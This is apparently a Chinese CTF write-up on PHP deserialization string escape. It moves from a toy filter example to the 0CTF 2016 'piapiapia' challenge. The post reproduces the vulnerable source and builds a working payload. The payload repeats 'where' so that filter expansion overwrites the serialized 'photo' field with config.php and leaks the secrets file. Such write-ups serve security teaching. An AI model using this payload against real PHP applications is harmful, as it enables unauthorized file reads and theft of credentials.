0x00 first
前几天joomla爆出个反序列化漏洞,原因是因为对序列化后的字符进行过滤,导致用户可控字符溢出,从而控制序列化内容,配合对象注入导致RCE。刚好今天刷CTF题时遇到了一个类似的场景,感觉很有意思,故有本文。
0x01 我打我自己之---序列化问题
关于序列化是什么就不再赘述了,这里主要讲几个跟安全相关的几个点。
看一个简单的序列化
<?php
$kk = "123";
$kk_seri = serialize($kk); //s:3:"123";
echo unserialize($kk_seri); //123
$not_kk_seri = \'s:4:"123""\';
echo unserialize($not_kk_seri); //123"
从上例可以看到,序列化后的字符串以"作为分隔符,但是注入"并没有导致后面的内容逃逸。这是因为反序列化时,反序列化引擎是根据长度来判断的。
也正是因为这一点,如果程序在对序列化之后的字符串进行过滤转义导致字符串内容变长/变短时,就会导致反序列化无法得到正常结果。看一个例子
<?php
$username = $_GET[\'username\'];
$sign = "hi guys";
$user = array($username, $sign);
$seri = bad_str(serialize($user));
echo $seri;
// echo "<br>";
$user=unserialize($seri);
echo $user[0];
echo "<br>";
echo "<br>";
echo $user[1];
function bad_str($string){
return preg_replace(\'/\\\'/\', \'no\', $string);
}
先对一个数组进行序列化,然后把结果传入bad_str()函数中进行安全过滤,将单引号转换成no,最后反序列化得到的结果并输出。看一下正常的输出:
用户ka1n4t的个性签名很友好。如果在用户名处加上单引号,则会被程序转义成no,由于长度错误导致反序列化时出错。
那么通过这个错误能干啥呢?我们可以改写可控处之后的所有字符,从而控制这个用户的个性签名。我们需要先把我们想注入的数据写好,然后再考虑长度溢出的问题。比如我们把他的个性签名改成no hi,长度为5,在本程序中序列化的结果应该是i:1;s:5:"no hi";,再跟前面的username的双引号以及后面的结束花括号闭合,变成";i:1;s:5:"no hi";}。见下图
我们要让\'经过bad_str()函数转义成no之后多出来的长度刚好对齐到我们上面构造的payload。由于上面的payload长度是19,因此我们只要在payload前输入19个\',经过bad_str()转义后刚好多出了19个字符。
尝试payload:ka1n4t\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'";i:1;s:5:"no hi";}
成功注入序列化字符。前几天的joomla rce原理也正是如此。下面通过一道CTF来看一下实战场景。
0x02 [0CTF 2016] piapiapia
首页一个登录框,别的嘛都没有
www.zip源码泄露,可直接下载源码。
flag在config.php中
class.php是mysql数据库类,以及user model
<?php
require(\'config.php\');
class user extends mysql{
private $table = \'users\';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = \'$username\'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array(\'username\', \'password\');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = \'$username\'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = \'$username\'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = \'$username\'";
return parent::update($this->table, \'profile\', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config[\'hostname\'],
$config[\'username\'],
$config[\'password\']
);
mysql_select_db($config[\'database\']);
mysql_query("SET sql_mode=\'strict_all_tables\'");
return $this->link;
}
public function select($table, $where, $ret = \'*\') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(\',\', $key_list);
$value = \'\\\'\' . implode(\'\\\',\\\'\', $value_list) . \'\\\'\';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = \'$value\' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array(\'\\\'\', \'\\\\\\\\\');
$escape = \'/\' . implode(\'|\', $escape) . \'/\';
$string = preg_replace($escape, \'_\', $string);
$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
return preg_replace($safe, \'hacker\', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
profile.php用于展示个人信息
profile.php
<?php
require_once(\'class.php\');
if($_SESSION[\'username\'] == null) {
die(\'Login First\');
}
$username = $_SESSION[\'username\'];
$profile=$user->show_profile($username);
if($profile == null) {
header(\'Location: update.php\');
}
else {
$profile = unserialize($profile);
$phone = $profile[\'phone\'];
$email = $profile[\'email\'];
$nickname = $profile[\'nickname\'];
$photo = base64_encode(file_get_contents($profile[\'photo\']));
?>
register.php用于注册用户
register.php
<?php
require_once(\'class.php\');
if($_POST[\'username\'] && $_POST[\'password\']) {
$username = $_POST[\'username\'];
$password = $_POST[\'password\'];
if(strlen($username) < 3 or strlen($username) > 16)
die(\'Invalid user name\');
if(strlen($password) < 3 or strlen($password) > 16)
die(\'Invalid password\');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo \'Register OK!<a href="index.php">Please Login</a>\';
}
else {
die(\'User name Already Exists\');
}
}
else {
?>
update.php用于更新用户信息
update.php
<?php
require_once(\'class.php\');
if($_SESSION[\'username\'] == null) {
die(\'Login First\');
}
if($_POST[\'phone\'] && $_POST[\'email\'] && $_POST[\'nickname\'] && $_FILES[\'photo\']) {
$username = $_SESSION[\'username\'];
if(!preg_match(\'/^\\d{11}$/\', $_POST[\'phone\']))
die(\'Invalid phone\');
if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\']))
die(\'Invalid email\');
if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
die(\'Invalid nickname\');
$file = $_FILES[\'photo\'];
if($file[\'size\'] < 5 or $file[\'size\'] > 1000000)
die(\'Photo size error\');
move_uploaded_file($file[\'tmp_name\'], \'upload/\' . md5($file[\'name\']));
$profile[\'phone\'] = $_POST[\'phone\'];
$profile[\'email\'] = $_POST[\'email\'];
$profile[\'nickname\'] = $_POST[\'nickname\'];
$profile[\'photo\'] = \'upload/\' . md5($file[\'name\']);
$user->update_profile($username, serialize($profile));
echo \'Update Profile Success!<a href="profile.php">Your Profile</a>\';
}
else {
?>
通过观察上面的几个代码我们能发现以下几个线索
1.能读取config.php或获得参数$flag的值即可获得flag。
2.update.php 28行将用户更新信息序列化,然后传入$user->update_profile()存入数据库。
3.查看class.php中的update_profile()源码,发现底层先调用了filter()方法进行危险字符过滤,然后才存入数据库。
4.profile.php 16行取出用户的$profile[\'photo\']作为文件名获取文件内容并展示。
5.update.php 26行可以看到$profile[\'photo\']的值是\'upload\'.md5($file[\'name\']),因此线索4中的文件名我们并不可控。
综合以上5点,再加上本文一开始的例子,思路基本已经出来了,程序将序列化之后的字符串进行过滤,导致用户可控部分溢出,从而控制后半段的序列化字符,最终控制$profile[\'photo\']的值为config.php,即可获得flag。
这里关键就是class.php中的filter()方法,我们要找到能让原始字符‘膨胀’的转义。
public function filter($string) {
$escape = array(\'\\\'\', \'\\\\\\\\\');
$escape = \'/\' . implode(\'|\', $escape) . \'/\';
$string = preg_replace($escape, \'_\', $string);
$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
return preg_replace($safe, \'hacker\', $string);
}
仅从长度变化来看,只有where->hacker这一个转义是变长了的。回到update.php 28行,我们只要在nickname参数中输入若干个where拼上payload,经过filter()过滤后刚好让我们的payload溢出即可。
$profile[\'phone\'] = $_POST[\'phone\'];
$profile[\'email\'] = $_POST[\'email\'];
$profile[\'nickname\'] = $_POST[\'nickname\'];
$profile[\'photo\'] = \'upload/\' . md5($file[\'name\']);
$user->update_profile($username, serialize($profile));
有一点需要注意的是update.php对nickname进行了过滤,不能有除_外的特殊字符,我们只要传一个nickname[]数组即可。
下面构造payload,先看看正常的序列化表达式是什么
a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
构造photo值为config.php,并与前后闭合序列化表达式,也就是取出上面kk1之后的所有字符
";}s:5:"photo";s:10:"config.php";}
长度为34,由于filter()是将where变为hacker,增加1位,我们需要增加34位,也就是34个where。payload变成这样
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
我们把这个作为nickname[]的值传入,然后序列化的结果应该是
a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
经过filter()的转义变成
a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
数一下位数,刚好。
下面发送payload作为nickname[]的值
更新成功,访问profile.php查看个人信息
成功拿到flag。